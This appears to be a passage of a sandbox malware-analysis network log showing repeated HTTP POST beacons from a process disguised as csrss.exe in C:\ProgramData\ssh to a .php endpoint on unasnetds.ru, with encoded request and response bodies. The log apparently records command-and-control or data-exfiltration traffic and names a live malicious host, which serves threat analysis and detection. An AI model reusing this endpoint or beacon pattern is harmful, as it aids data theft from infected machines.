Jan 3, 2025 11:47:30.391766071 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1032 Expect: 100-continue
Jan 3, 2025 11:47:30.737215996 CET	1032	OUT	Data Raw: 5f 56 5b 5c 58 5c 55 5d 5a 5d 59 57 59 5e 5b 52 5f 57 54 55 50 54 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _V[\X\U]Z]YWY^[R_WTUPT[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^',,26( 4#%.3]<=_+,1%U#-28<<&+. \'%^.$
Jan 3, 2025 11:47:30.867296934 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:31.043410063 CET	797	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NQqxrGnriNQrGQQqvTSV4p5GtNWfhaDDBgf64IuxSaVoRXkKLYmwdOjOY1kKdZ9FWsAygMNA%2BTYbDiic3qwRd%2Ff7tmH7b2KaVRopvtxdKxn3ahpRGisB6WKyMfwzTjs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26941add74405-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3020&min_rtt=1559&rtt_var=3507&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1353&delivery_rate=110180&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	51593	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:31.495557070 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:47:31.846594095 CET	1040	OUT	Data Raw: 5a 5c 5b 51 5d 53 55 51 5a 5d 59 57 59 59 5b 5b 5f 53 54 54 50 58 5b 5e 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z\[Q]SUQZ]YWYY[[_STTPX[^Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'-Y"5]'S7U'Z0-+]+1Z(8%=V /=&/<\</:Z) \'%^.
Jan 3, 2025 11:47:31.942673922 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:32.117096901 CET	801	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LvWZwNJMwFZ0LdkbgdVYdljl6cVBiSye3KjYCXfjftOL2ePvt096v0x4f%2BQ8G%2B%2B8%2FpX92fvPYt51WhPeASgWfoh48sSjHaRL8euKaX4bz5o0W46nEIRmkMxaDEZn9CY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269486be24333-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6703&min_rtt=1596&rtt_var=10813&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=34388&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	51595	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:32.242736101 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:32.596441984 CET	1032	OUT	Data Raw: 5a 55 5e 5d 58 59 55 50 5a 5d 59 57 59 5e 5b 57 5f 5b 54 5f 50 5e 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZU^]XYUPZ]YWY^[W_[T_P^[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$[.,1"8; 8%.]+(9P&"<&'/\</"> \'%^.0
Jan 3, 2025 11:47:32.694070101 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:32.943409920 CET	797	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yb8VIukZ4ycTPksp47JLPtQPbKDnG4wKL4wxDy8edVb%2FfcmtA6wHImRjmhdeWwBfGTNv7kpMX40wvmt8nZytc5KsBqtTkbeZw%2FxLOSeUEoxkE1nugVEyMElkpNBZa2E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc2694d1947c32b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2724&min_rtt=1472&rtt_var=3056&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1377&delivery_rate=127089&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	51597	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:33.067933083 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:33.424727917 CET	1032	OUT	Data Raw: 5a 52 5e 5c 58 5c 50 5a 5a 5d 59 57 59 5e 5b 57 5f 51 54 58 50 58 5b 56 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZR^\X\PZZ]YWY^[W_QTXPX[VZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$\.&R5###_3>#\(>?)P%=W72<#+]= \'%^.0
Jan 3, 2025 11:47:33.541796923 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:33.790162086 CET	797	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6CcD260%2FVhERvt5JlSqXu74ahcperSoKYmKAK42FLMbMPJMVDX40UQMxHinoVFu9x3e4gk10mtdw3wMsZrSAP2mSXXPoOvc5z7B8rzydVyH97B3BhNKOl%2B76xnhak3w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26952592d4261-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8888&min_rtt=1864&rtt_var=14747&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1377&delivery_rate=25148&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	51598	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:34.133668900 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:34.520889044 CET	1040	OUT	Data Raw: 5a 56 5e 59 58 59 55 59 5a 5d 59 57 59 58 5b 55 5f 5b 54 58 50 5a 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZV^YXYUYZ]YWYX[U_[TXPZ[_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'9,=!0# $;X<;1]+_01[%#/T&?,]+> \'%^.8
Jan 3, 2025 11:47:34.575253963 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	51600	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:34.619060040 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:34.971466064 CET	1756	OUT	Data Raw: 5a 56 5e 59 5d 5f 50 59 5a 5d 59 57 59 59 5b 52 5f 56 54 55 50 5d 5b 5b 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZV^Y]_PYZ]YWYY[R_VTUP][[Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'-"T5;70?' >;=^<31>9W4:V'/;?"* \'%^.
Jan 3, 2025 11:47:35.084541082 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:35.337937117 CET	947	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aqK7uBoLSb%2FKpc2GejdD0gVNlY7i2a14G4ozQPcl%2Bx05otmpNYI3Nw50O97bjnsZ8tCypZ8HiX58Aeyx%2FDuGIgUab8EHirE8XohZIN5yy4PTJPuXRchvzz0gKQ2DP94%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc2695bfcac4207-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3774&min_rtt=2182&rtt_var=4003&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2101&delivery_rate=97835&cwnd=182&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 21 5b 23 10 20 04 27 17 2f 55 25 3a 39 56 22 0e 29 05 2d 39 0c 04 27 2c 24 0e 29 00 2f 1c 33 3f 00 00 2a 38 00 08 26 5a 21 58 26 29 2e 59 0d 11 3b 06 28 3f 28 0d 2b 29 30 12 2a 01 0a 06 30 02 23 07 28 3b 2c 02 28 31 3c 54 37 59 25 17 3d 0f 00 09 29 24 32 06 3e 22 0a 05 31 0f 2c 5e 0b 12 24 1e 3c 31 3d 57 20 21 3e 01 26 2d 20 04 26 39 28 0c 35 23 24 53 27 05 34 5f 38 22 07 53 27 27 2c 5a 2a 28 02 16 34 38 0f 08 2b 07 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98![# '/U%:9V")-9',$)/3?8&Z!X&).Y;(?(+)00#(;,(1<T7Y%=)$2>"1,^$<1=W !>&- &9(5#$S'4_8"S'',Z*(48+'P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	51601	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:34.742619991 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:35.096458912 CET	1032	OUT	Data Raw: 5f 57 5b 5b 5d 5f 55 50 5a 5d 59 57 59 5e 5b 57 5f 50 54 59 50 5c 5b 5c 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _W[[]_UPZ]YWY^[W_PTYP\[\Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$-/!"8/ $#>;6?W2.-T7/)1?(<Z6*. \'%^.0
Jan 3, 2025 11:47:35.205035925 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:35.457317114 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T8NLKlBIDk1CsDgkt578vs%2BSGlawUfe81%2FSC7pX9tcr895Wp5PoL5xGNorWRI6lAjvYnTX1gj%2B1byV3NYAwc1ugCTi0qQGjuAqc7RlSrwsqzqrXjYDLOE4IyMEOIss0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc2695cbf5180d6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3576&min_rtt=1486&rtt_var=4739&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1377&delivery_rate=80162&cwnd=192&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	51602	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:35.582612991 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1032 Expect: 100-continue
Jan 3, 2025 11:47:35.941612005 CET	1032	OUT	Data Raw: 5a 50 5e 5c 58 5b 50 59 5a 5d 59 57 59 5e 5b 57 5f 52 54 54 50 5f 5b 56 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZP^\X[PYZ]YWY^[W_RTTP_[VZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^',,!!;3 ##_''?]&93T1=#<.T&<X+Z% \'%^.0
Jan 3, 2025 11:47:36.025945902 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:36.279268980 CET	797	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G%2F1ulIcZNNTUcyeDGobwl5pdThUgbMDwOa3ci1Q0kxfYWtZBTqrwFDkY3UEf4pUW4Vr40QEuUI4FS3W9Vn1Kg64fawLCP7pbqDB6Ci2%2FCdM7MF8VX3Vmoj3jiBG2UKI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26961eab88c2d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2700&min_rtt=1774&rtt_var=2517&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1353&delivery_rate=159006&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	51604	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:36.413925886 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:36.768697977 CET	1040	OUT	Data Raw: 5a 52 5b 5c 58 59 55 5f 5a 5d 59 57 59 59 5b 55 5f 53 54 55 50 5c 5b 57 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZR[\XYU_Z]YWYY[U_STUP\[WZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'-<6"++S7 0Y?(:;1"<.&,3</=> \'%^.
Jan 3, 2025 11:47:36.857420921 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:37.107342005 CET	801	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ywgnQztURM5CWRhb9Ukl%2Bik22QvXgq1gwHoVVHAyc%2F2bSxF2PcH1tvIELZMwsnPfEftDthtbIyg3oemGZk3zzpgbu7MoRN3XcM9babvoij%2F3HpUSa1SSbO%2FMi0dvqyY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269671ecc4262-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2076&min_rtt=1695&rtt_var=1399&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=307368&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	51605	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:38.303020954 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:38.659832001 CET	1040	OUT	Data Raw: 5a 56 5b 5b 5d 5a 55 5f 5a 5d 59 57 59 58 5b 51 5f 57 54 5a 50 5e 5b 5d 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZV[[]ZU_Z]YWYX[Q_WTZP^[]Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$]./"5#U U?3'[<>(/U&>1 ?&<0=/>]>> \'%^.8
Jan 3, 2025 11:47:38.772146940 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:38.948456049 CET	797	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l1gi%2FWa1HZOnjv4khKo6a2KuL7gGfHWt5SVWraymnUcTg4s4EUMblmIOZdMoE6gxb0er4umuBgQSBEBQBtKPlsbqSp8MmIQNElsLXcCcpDTAiWBCRgLV4%2FY6wmcUQdg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269730eed4328-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7257&min_rtt=1566&rtt_var=11969&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=31001&cwnd=219&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	51606	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:39.075834990 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:39.424715042 CET	1040	OUT	Data Raw: 5a 55 5b 5e 5d 5a 55 5c 5a 5d 59 57 59 56 5b 54 5f 52 54 59 50 5b 5b 5b 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZU[^]ZU\Z]YWYV[T_RTYP[[[Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'9/!6R7?$X0?]*:3W&!S7?&/$]<?:]) \'%^.
Jan 3, 2025 11:47:39.518207073 CET	25	IN	HTTP/1.1 100 Continue
